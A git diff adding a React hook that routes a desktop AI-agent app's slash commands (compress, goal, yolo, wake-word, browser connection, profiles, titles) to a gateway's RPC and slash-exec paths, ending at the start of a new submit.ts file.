+  resumeStoredSession: (storedSessionId: string) => Promise<void> | void
+  selectedStoredSessionIdRef: MutableRefObject<string | null>
+  startFreshSessionDraft: () => void
+  submitPromptText: (rawText: string, options?: SubmitTextOptions) => Promise<boolean>
+  updateSessionState: (
+    sessionId: string,
+    updater: (state: ClientSessionState) => ClientSessionState,
+    storedSessionId?: string | null
+  ) => ClientSessionState
+}
+
+/** The /slash command dispatcher, extracted from usePromptActions. */
+export function useSlashCommand(deps: SlashCommandDeps) {
+  const {
+    activeSessionIdRef,
+    appendSessionTextMessage,
+    branchCurrentSession,
+    busyRef,
+    copy,
+    createBackendSessionForSend,
+    getRoutedStoredSessionId,
+    getRuntimeIdForStoredSession,
+    handleSkinCommand,
+    handoffSession,
+    openMemoryGraph,
+    refreshSessions,
+    requestGateway,
+    resumeStoredSession,
+    selectedStoredSessionIdRef,
+    startFreshSessionDraft,
+    submitPromptText,
+    updateSessionState
+  } = deps
+
+  const compressInFlightRef = useRef(new Set<string>())
+
+  return useCallback(
+    async (rawCommand: string, options?: { sessionId?: string; recordInput?: boolean }) => {
+      // Resolve the session this command targets through the SHARED ladder that
+      // submit.ts uses. A slash command runs backend commands against a runtime
+      // session, and per-session state (`/goal`, `/usage`, `/status`) is keyed by
+      // that id — so resolving it differently than submit would run the command
+      // against a different session than the user's chat. The old bare
+      // `hint || activeRef || createSession()` did exactly that: with the runtime
+      // binding momentarily absent (profile swap, reconnect, orphan-reap,
+      // timeout) it minted a NEW session, so `/goal status` reported "No active
+      // goal" for a goal that was live on the real chat.
+      const ensureSessionId = async (sessionHint?: string, preview?: null | string) =>
+        resolveTargetSessionId({
+          activeRuntimeId: activeSessionIdRef.current,
+          createSession: () => createBackendSessionForSend(preview),
+          explicitRuntimeId: sessionHint,
+          getRuntimeIdForStoredSession,
+          requestGateway,
+          routedStoredSessionId: getRoutedStoredSessionId(),
+          selectedStoredSessionId: selectedStoredSessionIdRef.current
+        })
+
+      // Resolve the target session plus a writer for inline slash output, or
+      // notify + return null when none can be created. Folds the ensure / bail /
+      // build-renderSlashOutput boilerplate every exec-style handler repeats.
+      const withSlashOutput = async (
+        ctx: SlashActionCtx
+      ): Promise<{ render: (text: string) => void; sessionId: string; storedSessionId: string | null } | null> => {
+        // A slash on a fresh draft creates the backend session; seed the
+        // sidebar preview with the typed command so the row doesn't sit as
+        // "Untitled session" (auto-title only fires after a full exchange,
+        // which a bare exec command never produces).
+        const sessionId = await ensureSessionId(ctx.sessionHint, ctx.command)
+
+        if (!sessionId) {
+          notify({ kind: 'error', title: copy.sessionUnavailable, message: copy.createSessionFailed })
+
+          return null
+        }
+
+        // Bind output to the TARGET session's own stored id, snapshotted now so
+        // a command that outlives a session switch still lands on the right
+        // chat. NOT the foreground selection: a tile (⌘T tab, split) runs its
+        // slash commands through this hook with an explicit runtime id while
+        // the selection names a different conversation, and passing that down
+        // to updateSessionState re-keyed the tile's cache entry onto the
+        // primary's stored session. Fall back to the selection only for a
+        // session with no published state yet (a draft this call just created).
+        const storedSessionId = $sessionStates.get()[sessionId]?.storedSessionId ?? selectedStoredSessionIdRef.current
+
+        // Header carries the command token only. The full invocation would
+        // duplicate long args — `/goal <prose>` echoed the whole goal in the
+        // mono header, then again in the backend notice right under it.
+        const render = (text: string) =>
+          appendSessionTextMessage(
+            sessionId,
+            'system',
+            ctx.recordInput ? slashStatusText(`/${ctx.name}`, text) : text,
+            storedSessionId
+          )
+
+        return { render, sessionId, storedSessionId }
+      }
+
+      // `exec` commands (and unknown skill / quick commands the backend owns)
+      // run on the gateway and render their text output inline. This is the only
+      // path that talks to slash.exec / command.dispatch.
+      async function runExec(ctx: SlashActionCtx): Promise<void> {
+        const { arg, command, name } = ctx
+        const resolved = await withSlashOutput(ctx)
+
+        if (!resolved) {
+          return
+        }
+
+        const { render: renderSlashOutput, sessionId, storedSessionId } = resolved
+
+        if (!isDesktopSlashCommand(name)) {
+          renderSlashOutput(desktopSlashUnavailableMessage(name) || `/${name} is not available in the desktop app.`)
+
+          return
+        }
+
+        let slashExecError: unknown = null
+
+        const handleDispatch = async (
+          dispatch: NonNullable<ReturnType<typeof parseCommandDispatch>>
+        ): Promise<void> => {
+          if (dispatch.type === 'exec' || dispatch.type === 'plugin') {
+            renderSlashOutput(dispatch.output ?? '(no output)')
+
+            return
+          }
+
+          if (dispatch.type === 'alias') {
+            await runSlash(`/${dispatch.target}${arg ? ` ${arg}` : ''}`, sessionId, false)
+
+            return
+          }
+
+          // send / prefill carry an optional `notice` (e.g. "⊙ Goal set …")
+          // that the backend wants shown as a system line before the message
+          // is acted on. Mirrors the TUI's createSlashHandler — without it a
+          // `/goal <text>` looked like it did nothing.
+          if ((dispatch.type === 'send' || dispatch.type === 'prefill') && dispatch.notice?.trim()) {
+            renderSlashOutput(dispatch.notice.trim())
+
+            // `/goal <text>` returns its "⊙ Goal set …" notice here and kicks
+            // off the first turn immediately; the backend only emits a
+            // `status.update kind:"goal"` after that turn's post-turn judge
+            // runs. Seed the goal store from the notice so the indicator shows
+            // the active goal right away instead of after the first turn.
+            if (name === 'goal') {
+              applyGoalStatusText(sessionId, dispatch.notice.trim())
+            }
+          }
+
+          const message = ('message' in dispatch ? dispatch.message : '')?.trim() ?? ''
+
+          // /undo returns a prefill directive: drop the backed-up message into
+          // the composer for editing instead of submitting it immediately.
+          if (dispatch.type === 'prefill') {
+            if (message) {
+              setComposerDraft(message)
+            }
+
+            return
+          }
+
+          if (!message) {
+            renderSlashOutput(
+              `/${name}: ${dispatch.type === 'skill' ? 'skill payload missing message' : 'empty message'}`
+            )
+
+            return
+          }
+
+          // A skill/bundle dispatch's `message` is the expanded skill body —
+          // model-facing scaffolding. Never render it; the bubble shows the
+          // invocation the gateway projected, or one read from the payload
+          // when the backend is older than this app.
+          const projected = 'display' in dispatch ? dispatch.display?.trim() : ''
+          const displayText = projected || skillInvocationText(message) || undefined
+
+          // Gate on the TARGET session's own busy state, not the foreground
+          // view's — see isTargetSessionBusy. `busyRef` mirrors whatever chat
+          // is on screen, while this command runs against the session
+          // resolveTargetSessionId picked, routinely a different one.
+          if (isTargetSessionBusy($sessionStates.get(), sessionId, busyRef.current)) {
+            // The backend already executed the command — for `/goal <text>`
+            // the goal is set and `message` is its kickoff prompt. Dropping
+            // it here loses the kickoff silently (the goal exists but the
+            // agent never hears about it, #63352). Queue it on the composer
+            // queue instead: it fires when the running turn settles, and the
+            // queue panel above the composer shows it in the meantime.
+            //
+            // Park it on the same stored session the output writer is bound to
+            // rather than re-reading the globals here — a session switch between
+            // dispatch and this branch would otherwise queue the kickoff on
+            // whichever chat is now in front.
+            const queueKey = resolveComposerSessionKey(storedSessionId, $sessions.get()) || storedSessionId || sessionId
+
+            if (enqueueQueuedPrompt(queueKey, { attachments: [], text: message, displayText })) {
+              renderSlashOutput('session busy — message queued to send when the current turn finishes')
+            } else {
+              renderSlashOutput('session busy — /interrupt the current turn before sending this command')
+            }
+
+            return
+          }
+
+          // Submit into the session this command was resolved against — the
+          // same pair the output writer and the busy gate above already use.
+          // Bare `submitPromptText(message)` let submit re-resolve from
+          // `activeSessionIdRef`, which names the FOREGROUND chat: a `/work`
+          // typed into a fresh ⌘T tab loaded the skill in that tab, then fired
+          // its kickoff as a user message into whatever conversation was on
+          // screen. Every other target the dispatcher serves (tile, background
+          // queue drain, a session created by this very call) had the same leak.
+          await submitPromptText(message, { sessionId, storedSessionId, displayText })
+        }
+
+        try {
+          const result = await requestGateway<unknown>('slash.exec', {
+            session_id: sessionId,
+            command: command.replace(/^\/+/, '')
+          })
+
+          const dispatch = parseCommandDispatch(result)
+
+          if (dispatch) {
+            await handleDispatch(dispatch)
+
+            return
+          }
+
+          const output = result && typeof result === 'object' ? (result as SlashExecResponse) : null
+          const body = output?.output || `/${name}: no output`
+
+          // `/goal status|pause|resume|clear` come back as plain exec output
+          // ("⊙ Goal (active, 3/20 turns): …", "⏸ Goal paused: …", "✓ Goal
+          // cleared." …). Mirror it into the goal store so the composer
+          // indicator tracks pause/resume/clear immediately.
+          if (name === 'goal' && output?.output) {
+            applyGoalStatusText(sessionId, output.output)
+          }
+
+          renderSlashOutput(output?.warning ? `warning: ${output.warning}\n${body}` : body)
+
+          return
+        } catch (error) {
+          // Fall back to command.dispatch for skill/send/alias directives, but
+          // keep the worker error: a slash.exec worker timeout/crash is the real
+          // failure, not the "not a quick/plugin/skill command" routing noise.
+          slashExecError = error
+        }
+
+        try {
+          const dispatch = parseCommandDispatch(
+            await requestGateway<unknown>('command.dispatch', { session_id: sessionId, name, arg })
+          )
+
+          if (!dispatch) {
+            renderSlashOutput('error: invalid response: command.dispatch')
+
+            return
+          }
+
+          await handleDispatch(dispatch)
+        } catch (err) {
+          // "not a quick/plugin/skill command" just means the fallback had
+          // nothing to add — the slash.exec failure (worker timeout, crash) is
+          // the real error, so don't bury it under the routing noise.
+          const dispatchMessage = err instanceof Error ? err.message : String(err)
+
+          if (slashExecError && /not a quick\/plugin\/skill command/i.test(dispatchMessage)) {
+            const original = slashExecError instanceof Error ? slashExecError.message : String(slashExecError)
+            renderSlashOutput(`error: /${name} failed: ${original}`)
+
+            return
+          }
+
+          renderSlashOutput(`error: ${dispatchMessage}`)
+        }
+      }
+
+      // `rpc` commands have a dedicated gateway handler — skip slash.exec /
+      // command.dispatch entirely. The response is structured (a JSON RPC
+      // reply, not an inline text stream) so we render it via the generic
+      // `renderRpcResult` shaper that knows the field conventions shared by
+      // session.save / session.status / session.usage / session.steer /
+      // process.stop / agents.list.
+      async function runRpc(
+        surface: Extract<DesktopCommandSurface, { kind: 'rpc' }>,
+        ctx: SlashActionCtx
+      ): Promise<void> {
+        const resolved = await withSlashOutput(ctx)
+
+        if (!resolved) {
+          return
+        }
+
+        const { render: renderSlashOutput, sessionId } = resolved
+
+        try {
+          const params = surface.buildParams({
+            arg: ctx.arg,
+            command: ctx.command,
+            name: ctx.name,
+            sessionId
+          })
+
+          // Forward the surface's declared timeout when present; the default
+          // requestGateway layer keeps (30s) is too tight for RPCs that do
+          // real work.
+          const result = await requestGateway<unknown>(surface.rpc, params, surface.timeoutMs)
+          const body = renderRpcResult(result, ctx.name)
+
+          renderSlashOutput(body || `/${ctx.name}: no output`)
+        } catch (err) {
+          // TODO: remove this compatibility fallback once every supported
+          // managed runtime exposes the dedicated RPC surface. Desktop and its
+          // gateway update independently; older gateways still support the
+          // slash-worker route.
+          if (isMissingRpcMethod(err)) {
+            await runExec(ctx)
+
+            return
+          }
+
+          renderSlashOutput(`error: ${err instanceof Error ? err.message : String(err)}`)
+        }
+      }
+
+      // One handler per `action` command. Adding a desktop-native command is a
+      // registry row in desktop-slash-commands.ts plus an entry here — never a
+      // new branch in a dispatch ladder.
+      const actionHandlers: Record<DesktopActionId, (ctx: SlashActionCtx) => Promise<void>> = {
+        new: async () => {
+          startFreshSessionDraft()
+        },
+        branch: async () => {
+          await branchCurrentSession()
+        },
+        // /compress (alias /compact) runs the gateway's dedicated
+        // session.compress RPC — the TUI's path
+        // (ui-tui/src/app/slash/commands/session.ts). It must NOT go through
+        // runExec: compressing a large session outlives the slash worker's pipe
+        // timeout (45s) and the desktop's 30s WS default, and the resulting
+        // slash.exec error cascaded into command.dispatch's misleading "not a
+        // quick/plugin/skill command: compress" (#44456).
+        //
+        // The RPC returns the post-compress `messages` array (same shape
+        // session.resume returns), so we replace the transcript from it —
+        // otherwise the summarized bubbles stay on screen forever (#44462
+        // review). `updateSessionState` only publishes for the active runtime,
+        // so a late result after a session switch refreshes its own cache
+        // without clobbering the foreground transcript (#53755 review).
+        compress: async ctx => {
+          const resolved = await withSlashOutput(ctx)
+
+          if (!resolved) {
+            return
+          }
+
+          const { render: renderSlashOutput, sessionId: initialSessionId, storedSessionId } = resolved
+          let sessionId = initialSessionId
+          const focusTopic = ctx.arg.trim()
+          const noticeId = `session-compress:${sessionId}`
+
+          // Coalesce concurrent compress requests for the same session so a
+          // double-enter doesn't fire two LLM summarise calls.
+          if (compressInFlightRef.current.has(sessionId)) {
+            return
+          }
+
+          compressInFlightRef.current.add(sessionId)
+          notify({
+            durationMs: 0,
+            id: noticeId,
+            kind: 'info',
+            message: focusTopic ? `compressing context for: ${focusTopic}` : 'compressing context...'
+          })
+
+          try {
+            // Same stale-runtime recovery as prompt.submit: after sleep/wake a
+            // dead id 404s session.compress while plain chat still works, so
+            // /compress reported "session not found" on a healthy session.
+            // NOT alsoTimeout — compress is legitimately LLM-slow and a
+            // timeout here must not be retried as a dead session.
+            const { result, sessionId: liveSessionId } = await withSessionNotFoundResume(
+              sessionId,
+              storedSessionId,
+              liveId =>
+                requestGateway<SessionCompressResponse>(
+                  'session.compress',
+                  {
+                    session_id: liveId,
+                    ...(focusTopic ? { focus_topic: focusTopic } : {})
+                  },
+                  SESSION_COMPRESS_TIMEOUT_MS
+                ),
+              {
+                requestGateway,
+                onRecovered: recoveredId => {
+                  // Move the in-flight claim onto the live id so the coalesce
+                  // guard releases the right key in `finally`.
+                  compressInFlightRef.current.delete(sessionId)
+                  compressInFlightRef.current.add(recoveredId)
+
+                  if (activeSessionIdRef.current === initialSessionId) {
+                    activeSessionIdRef.current = recoveredId
+                    setActiveSessionId(recoveredId)
+                  }
+                }
+              }
+            )
+
+            sessionId = liveSessionId
+
+            // Replace the transcript with the post-compress history so the
+            // summarized bubbles actually disappear. `messages` is the same
+            // shape session.resume returns (_history_to_messages), so
+            // toChatMessages handles it directly. updateSessionState only
+            // publishes for the active runtime, guarding against a late result
+            // clobbering the foreground after a session switch.
+            if (Array.isArray(result?.messages)) {
+              updateSessionState(
+                sessionId,
+                state => ({ ...state, messages: toChatMessages(result.messages!) }),
+                storedSessionId
+              )
+            }
+
+            const usage = { ...result?.usage, ...result?.info?.usage }
+
+            if (Object.keys(usage).length && activeSessionIdRef.current === sessionId) {
+              setCurrentUsage(current => ({ ...current, ...usage }))
+            }
+
+            if (result?.info?.title !== undefined) {
+              setSessions(prev =>
+                prev.map(session =>
+                  session.id === sessionId ? { ...session, title: result.info!.title || null } : session
+                )
+              )
+            }
+
+            if (result?.summary?.headline) {
+              const lines = [result.summary.headline, result.summary.token_line, result.summary.note].filter(
+                (line): line is string => Boolean(line)
+              )
+
+              const aborted = result.status === 'aborted' || result.summary.aborted === true
+
+              if (!aborted) {
+                // Keep a durable record of a successful manual compression in
+                // the chat after replacing it with the authoritative backend
+                // transcript. Errors remain transient: appending an error as a
+                // system message would look like a successful state change.
+                renderSlashOutput(lines.join('\n'))
+              }
+
+              notify({
+                durationMs: 5_000,
+                id: noticeId,
+                kind: aborted ? 'error' : 'success',
+                message: lines.join('\n')
+              })
+
+              return
+            }
+
+            const hostOutput = result?.host_ack?.output?.trim()
+
+            if (hostOutput) {
+              renderSlashOutput(hostOutput)
+              notify({ durationMs: 5_000, id: noticeId, kind: 'success', message: hostOutput })
+
+              return
+            }
+
+            const removed = result?.removed ?? 0
+            const message = removed > 0 ? `compressed ${removed} messages` : 'nothing to compress'
+            renderSlashOutput(message)
+            notify({
+              durationMs: 5_000,
+              id: noticeId,
+              kind: 'success',
+              message
+            })
+          } catch (err) {
+            dismissNotification(noticeId)
+
+            // Desktop and gateway runtimes update independently. Preserve the
+            // historical slash-worker path for an older gateway that has not
+            // shipped session.compress yet; it cannot offer the longer RPC
+            // timeout, but it must not turn a once-working command into an
+            // immediate "method not found" error.
+            if (isMissingRpcMethod(err)) {
+              await runExec(ctx)
+
+              return
+            }
+
+            renderSlashOutput(`error: ${err instanceof Error ? err.message : String(err)}`)
+          } finally {
+            compressInFlightRef.current.delete(sessionId)
+          }
+        },
+        // /yolo maps to the status-bar YOLO control — a per-session approval
+        // bypass, same scope as the TUI's Shift+Tab. With no session yet we arm
+        // it locally; the session-create path applies it on the first message.
+        yolo: async ({ sessionHint }) => {
+          const sid = sessionHint || activeSessionIdRef.current
+          const next = !$yoloActive.get()
+
+          if (!sid) {
+            setYoloActive(next)
+            notify({ kind: 'success', message: next ? copy.yoloArmed : copy.yoloOff })
+
+            return
+          }
+
+          try {
+            const active = await setSessionYolo(requestGateway, sid, next)
+            appendSessionTextMessage(sid, 'system', copy.yoloSystem(active))
+          } catch {
+            notify({ kind: 'error', title: copy.yoloTitle, message: copy.yoloToggleFailed })
+          }
+        },
+        // /wake must stay in the gateway process that owns the Desktop wake
+        // lease. Sending it through slash.exec creates a separate ClawCodexCLI in
+        // the slash worker, which can claim the machine-wide microphone lock
+        // while the Desktop UI still reports the GUI listener as off.
+        wake: async ctx => {
+          const resolved = await withSlashOutput(ctx)
+
+          if (!resolved) {
+            return
+          }
+
+          const { render: renderSlashOutput } = resolved
+          const requested = ctx.arg.trim().toLowerCase()
+
+          if (requested && !['on', 'off', 'status'].includes(requested)) {
+            renderSlashOutput('usage: /wake [on|off|status]')
+
+            return
+          }
+
+          const status = async (): Promise<WakeStatusResponse> => {
+            const current = await requestGateway<WakeStatusResponse>('wake.status', {
+              client_capture: true,
+              surface: 'gui'
+            })
+
+            applyWakeStatus(current)
+
+            return current
+          }
+
+          try {
+            let action = requested
+
+            // Bare /wake is an authoritative toggle. Query the gateway instead
+            // of trusting a potentially stale renderer cache.
+            if (!action) {
+              action = (await status()).listening ? 'off' : 'on'
+            }
+
+            if (action === 'on') {
+              const started = await requestGateway<WakeStartResponse>(
+                'wake.start',
+                { persist: true, surface: 'gui', client_capture: true },
+                WAKE_START_TIMEOUT_MS
+              )
+
+              applyWakeStartResult(started)
+
+              if (!started?.started) {
+                renderSlashOutput(
+                  `Failed to start wake word: ${started?.hint?.trim() || started?.reason?.trim() || 'unknown error'}`
+                )
+
+                return
+              }
+            } else if (action === 'off') {
+              applyWakeStopResult(await requestGateway<WakeStopResponse>('wake.stop', { persist: true }))
+            }
+
+            renderSlashOutput(renderWakeStatus(await status()))
+          } catch (err) {
+            renderSlashOutput(`error: ${err instanceof Error ? err.message : String(err)}`)
+          }
+        },
+        // /handoff hands this session to a messaging platform. The platform is
+        // completed inline in the slash popover (backend _handoff_completions),
+        // so there is no overlay: `/handoff <platform>` runs the desktop's own
+        // handoff RPC. cli_only on the backend, so it must not reach slash.exec.
+        handoff: async ({ arg, command, recordInput, sessionHint }) => {
+          const platform = arg.trim()
+
+          if (!platform) {
+            notify({ kind: 'success', message: copy.handoff.pickPlatform })
+
+            return
+          }
+
+          const sid = sessionHint || activeSessionIdRef.current
+
+          if (!sid) {
+            notify({ kind: 'error', title: copy.sessionUnavailable, message: copy.createSessionFailed })
+
+            return
+          }
+
+          const result = await handoffSession(platform, { sessionId: sid })
+
+          if (!result.ok && result.error) {
+            appendSessionTextMessage(sid, 'system', recordInput ? slashStatusText(command, result.error) : result.error)
+          }
+        },
+        // /profile selects which profile new chats open in — no app relaunch.
+        // A profile is per-session now, so an existing thread can't change its
+        // profile mid-stream; `/profile <name>` points the next new chat (and
+        // the current empty draft) at that profile's backend.
+        profile: async ({ arg }) => {
+          const target = arg.trim()
+          const current = normalizeProfileKey($activeGatewayProfile.get())
+
+          if (!target) {
+            notify({ kind: 'success', message: copy.profileStatus(current) })
+
+            return
+          }
+
+          try {
+            const { profiles } = await getProfiles()
+            const match = profiles.find(profile => profile.name === target)
+
+            if (!match) {
+              notify({
+                kind: 'error',
+                title: copy.unknownProfile,
+                message: copy.noProfileNamed(target, profiles.map(profile => profile.name).join(', '))
+              })
+
+              return
+            }
+
+            const key = normalizeProfileKey(match.name)
+
+            $newChatProfile.set(key)
+            await ensureGatewayProfile(key)
+            notify({ kind: 'success', message: copy.newChatsProfile(match.name) })
+          } catch (err) {
+            notifyError(err, copy.setProfileFailed)
+          }
+        },
+        skin: async ({ arg, command, recordInput, sessionHint }) => {
+          const sid = sessionHint || activeSessionIdRef.current
+          const message = handleSkinCommand(arg)
+
+          // No session to print into yet — surface it as a toast instead of
+          // spinning up a backend session just to change the theme.
+          if (!sid) {
+            notify({ kind: 'success', message })
+
+            return
+          }
+
+          appendSessionTextMessage(sid, 'system', recordInput ? slashStatusText(command, message) : message)
+        },
+        // /title <name> renames via the gateway's session.title RPC — the same
+        // path the TUI uses, NOT REST renameSession (which 404s on runtime ids)
+        // nor the slash worker (whose DB write can silently fail). Bare /title
+        // shows the current title, which the worker owns, so delegate to exec.
+        title: async ctx => {
+          if (!ctx.arg) {
+            await runExec(ctx)
+
+            return
+          }
+
+          const resolved = await withSlashOutput(ctx)
+
+          if (!resolved) {
+            return
+          }
+
+          const { render: renderSlashOutput, sessionId } = resolved
+          const { arg } = ctx
+
+          try {
+            const result = await requestGateway<SessionTitleResponse>('session.title', {
+              session_id: sessionId,
+              title: arg
+            })
+
+            const finalTitle = (result?.title || arg).trim()
+            const queued = result?.pending === true
+
+            setSessions(prev => prev.map(s => (s.id === sessionId ? { ...s, title: finalTitle || null } : s)))
+            await refreshSessions().catch(() => undefined)
+            renderSlashOutput(
+              finalTitle
+                ? `Session title set: ${finalTitle}${queued ? ' (queued while session initializes)' : ''}`
+                : 'Session title cleared.'
+            )
+          } catch (err) {
+            renderSlashOutput(`error: ${err instanceof Error ? err.message : String(err)}`)
+          }
+        },
+        help: async ctx => {
+          const resolved = await withSlashOutput(ctx)
+
+          if (!resolved) {
+            return
+          }
+
+          const { render: renderSlashOutput, sessionId } = resolved
+
+          try {
+            const catalog = await requestGateway<CommandsCatalogLike>('commands.catalog', { session_id: sessionId })
+
+            renderSlashOutput(renderCommandsCatalog(catalog, copy))
+          } catch (err) {
+            renderSlashOutput(`error: ${err instanceof Error ? err.message : String(err)}`)
+          }
+        },
+        // /journey (aliases /learning, /memory-graph) opens the memory graph
+        // overlay — the desktop's visual counterpart of the TUI journey
+        // timeline — instead of printing a text rendering into the transcript.
+        // Args are ignored, matching the TUI overlay behavior.
+        journey: async () => {
+          openMemoryGraph()
+        },
+        // /hatch opens the pet generator overlay (the desktop's rich, multi-step
+        // generate→pick→hatch→adopt flow). A typed description seeds the prompt
+        // so `/hatch a cyber fox` lands on the composer step prefilled.
+        hatch: async ({ arg }) => {
+          const concept = arg.trim()
+
+          if (concept) {
+            $petGenInput.set(concept)
+          }
+
+          openPetGenerate()
+        },
+        pet: async ctx => {
+          const [sub = '', rawValue = ''] = ctx.arg.trim().split(/\s+/)
+          const lower = sub.toLowerCase()
+
+          if (lower === 'list' || lower === 'gallery' || lower === 'browse' || lower === 'all') {
+            openCommandPalettePage('pets')
+
+            return
+          }
+
+          // `/pet scale <n>` resizes the floating pet locally (instant) and
+          // persists via the store — no round-trip to the slash worker.
+          if (lower === 'scale') {
+            const value = Number(rawValue)
+
+            if (!rawValue || Number.isNaN(value)) {
+              const resolved = await withSlashOutput(ctx)
+              resolved?.render('usage: /pet scale <factor>  (e.g. /pet scale 0.5)')
+
+              return
+            }
+
+            setPetScale(requestGateway, value)
+
+            return
+          }
+
+          await runExec(ctx)
+        },
+        // /browser connect|disconnect|status manages the live CDP connection on
+        // the gateway host, mirroring the TUI's browser.manage RPC. It mutates
+        // BROWSER_CDP_URL (and may launch Chrome) in the gateway process — only
+        // meaningful when that process runs on this machine, so it's gated to
+        // local connections. A remote gateway would act on the wrong host.
+        browser: async ctx => {
+          const resolved = await withSlashOutput(ctx)
+
+          if (!resolved) {
+            return
+          }
+
+          const { render: renderSlashOutput, sessionId } = resolved
+
+          if ($connection.get()?.mode === 'remote') {
+            renderSlashOutput(
+              '/browser manages a Chromium-family browser on the gateway host — only available when connected to a local gateway.'
+            )
+
+            return
+          }
+
+          const [rawAction = 'status', ...rest] = ctx.arg.trim().split(/\s+/).filter(Boolean)
+          const cmdAction = rawAction.toLowerCase()
+
+          if (!['connect', 'disconnect', 'status'].includes(cmdAction)) {
+            renderSlashOutput(
+              'usage: /browser [connect|disconnect|status] [url] · persistent: set browser.cdp_url in config.yaml'
+            )
+
+            return
+          }
+
+          const url = cmdAction === 'connect' ? rest.join(' ').trim() || 'http://127.0.0.1:9222' : undefined
+
+          if (url) {
+            renderSlashOutput(`checking Chromium-family browser remote debugging at ${url}...`)
+          }
+
+          try {
+            const result = await requestGateway<BrowserManageResponse>('browser.manage', {
+              action: cmdAction,
+              session_id: sessionId,
+              ...(url && { url })
+            })
+
+            // Without a streamed session subscription, the gateway bundles its
+            // progress lines into `messages` — flush them inline.
+            result?.messages?.forEach(message => renderSlashOutput(message))
+
+            if (cmdAction === 'status') {
+              renderSlashOutput(
+                result?.connected
+                  ? `browser connected: ${result.url || '(url unavailable)'}`
+                  : 'browser not connected (try /browser connect <url> or set browser.cdp_url in config.yaml)'
+              )
+
+              return
+            }
+
+            if (cmdAction === 'disconnect') {
+              renderSlashOutput('browser disconnected')
+
+              return
+            }
+
+            if (result?.connected) {
+              renderSlashOutput('Browser connected to live Chromium-family browser via CDP')
+              renderSlashOutput(`Endpoint: ${result.url || '(url unavailable)'}`)
+              renderSlashOutput('next browser tool call will use this CDP endpoint')
+            }
+          } catch (err) {
+            renderSlashOutput(`error: ${err instanceof Error ? err.message : String(err)}`)
+          }
+        }
+      }
+
+      // Picker commands open a desktop overlay; a typed arg is resolved by that
+      // picker so the command never dead-ends or falls through to the backend.
+      const openPicker = async (pickerId: DesktopPickerId, ctx: SlashActionCtx): Promise<void> => {
+        if (pickerId === 'model') {
+          if (!ctx.arg.trim()) {
+            setModelPickerOpen(true)
+
+            return
+          }
+
+          // Power users can still type `/model <name>` — run it on the backend.
+          await runExec(ctx)
+
+          return
+        }
+
+        // session picker — /resume, /sessions, /switch
+        const query = ctx.arg.trim()
+
+        if (!query) {
+          setSessionPickerOpen(true)
+
+          return
+        }
+
+        const sessions = $sessions.get()
+        const lower = query.toLowerCase()
+
+        const match =
+          sessions.find(session => session.id === query) ||
+          sessions.find(session => sessionTitle(session).toLowerCase().includes(lower)) ||
+          sessions.find(session => (session.preview ?? '').toLowerCase().includes(lower))
+
+        if (!match) {
+          if (isSessionIdCandidate(query)) {
+            await resumeStoredSession(query)
+
+            return
+          }
+
+          notify({ kind: 'error', message: copy.resumeFailed })
+
+          return
+        }
+
+        await resumeStoredSession(match.id)
+      }
+
+      // The whole dispatcher: resolve the command's desktop surface, then act on
+      // its kind. No per-command ladder — behavior lives in the registry.
+      async function runSlash(commandText: string, sessionHint?: string, recordInput = true): Promise<void> {
+        const command = commandText.trim()
+        const { name, arg } = parseSlashCommand(command)
+
+        if (!name) {
+          // The composer draft was already cleared on submit, and slash input
+          // never lands in the Up-arrow history ring (it derives from sent user
+          // messages) — so without this restore, any payload after a degenerate
+          // slash (`/ text`, `/` + newline) is lost forever. Hand it back.
+          if (command.replace(/^\/+/, '').trim()) {
+            setComposerDraft(command)
+          }
+
+          const sessionId = await ensureSessionId(sessionHint)
+
+          if (sessionId) {
+            appendSessionTextMessage(sessionId, 'system', copy.emptySlashCommand)
+          }
+
+          return
+        }
+
+        const ctx: SlashActionCtx = { arg, command, name, recordInput, sessionHint }
+        const surface = resolveDesktopCommand(`/${name}`)?.surface
+
+        switch (surface?.kind) {
+          case 'unavailable': {
+            const resolved = await withSlashOutput(ctx)
+            resolved?.render(desktopSlashUnavailableMessage(name) || `/${name} is not available in the desktop app.`)
+
+            return
+          }
+
+          case 'picker':
+            return openPicker(surface.picker, ctx)
+
+          case 'action':
+            return actionHandlers[surface.action](ctx)
+
+          case 'rpc':
+            return runRpc(surface, ctx)
+
+          default:
+            // exec spec, or an unknown skill / quick command the backend owns.
+            return runExec(ctx)
+        }
+      }
+
+      await runSlash(rawCommand, options?.sessionId, options?.recordInput ?? true)
+    },
+    [
+      activeSessionIdRef,
+      appendSessionTextMessage,
+      branchCurrentSession,
+      busyRef,
+      copy,
+      createBackendSessionForSend,
+      getRoutedStoredSessionId,
+      getRuntimeIdForStoredSession,
+      handleSkinCommand,
+      handoffSession,
+      openMemoryGraph,
+      refreshSessions,
+      requestGateway,
+      resumeStoredSession,
+      selectedStoredSessionIdRef,
+      startFreshSessionDraft,
+      submitPromptText,
+      updateSessionState
+    ]
+  )
+}
diff --git a/ui-desktop/src/app/session/hooks/use-prompt-actions/submit.ts b/ui-desktop/src/app/session/hooks/use-prompt-actions/submit.ts
new file mode 100644
index 000000000..055c47cda
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-prompt-actions/submit.ts
@@ -0,0 +1,748 @@
+import { type MutableRefObject, useCallback } from 'react'
+
+import { PROMPT_SUBMIT_REQUEST_TIMEOUT_MS } from '@/clawcodex'
+import type { Translations } from '@/i18n'
+import { type ChatMessage, textPart } from '@/lib/chat-messages'
+import { optimisticAttachmentRef } from '@/lib/chat-runtime'
+import { sanitizeComposerInput } from '@/lib/composer-input-sanitize'
+import { setMutableRef } from '@/lib/mutable-ref'
+import {
+  isVoicePlaybackActive,
+  markVoicePlaybackInterrupted,
+  stopVoicePlayback,
+  takeVoicePlaybackInterrupted
+} from '@/lib/voice-playback'
+import {
+  $composerAttachments,
+  clearComposerAttachments,
+  type ComposerAttachment,
+  terminalContextBlocksFromDraft
+} from '@/store/composer'
+import { clearNotifications, notify, notifyError } from '@/store/notifications'
+import { requestDesktopOnboarding } from '@/store/onboarding'
+import {
+  $sessions,
+  resolveComposerSessionKey,
+  setActiveSessionId,
+  setAwaitingResponse,
+  setBusy,
+  setMessages,
+  touchSessionActivity
+} from '@/store/session'
+import { $sessionStates } from '@/store/session-states'
+
+import type { ClientSessionState } from '../../../types'
+import { sessionContextDrift } from '../session-context-drift'
+import { resolveSessionProfile } from '../use-session-actions/utils'
+
+import { finalizeInterruptedMessages } from './rewind'
+import {
+  _submitInFlight,
+  type GatewayRequest,
+  inlineErrorMessage,
+  isProviderSetupError,
+  isSessionBusyError,
+  isTargetSessionBusy,
+  SessionRecoveryAborted,
+  type SubmitTextOptions,
+  withSessionBusyRetry,
+  withSessionNotFoundResume
+} from './utils'
+
+interface SubmitPromptDeps {
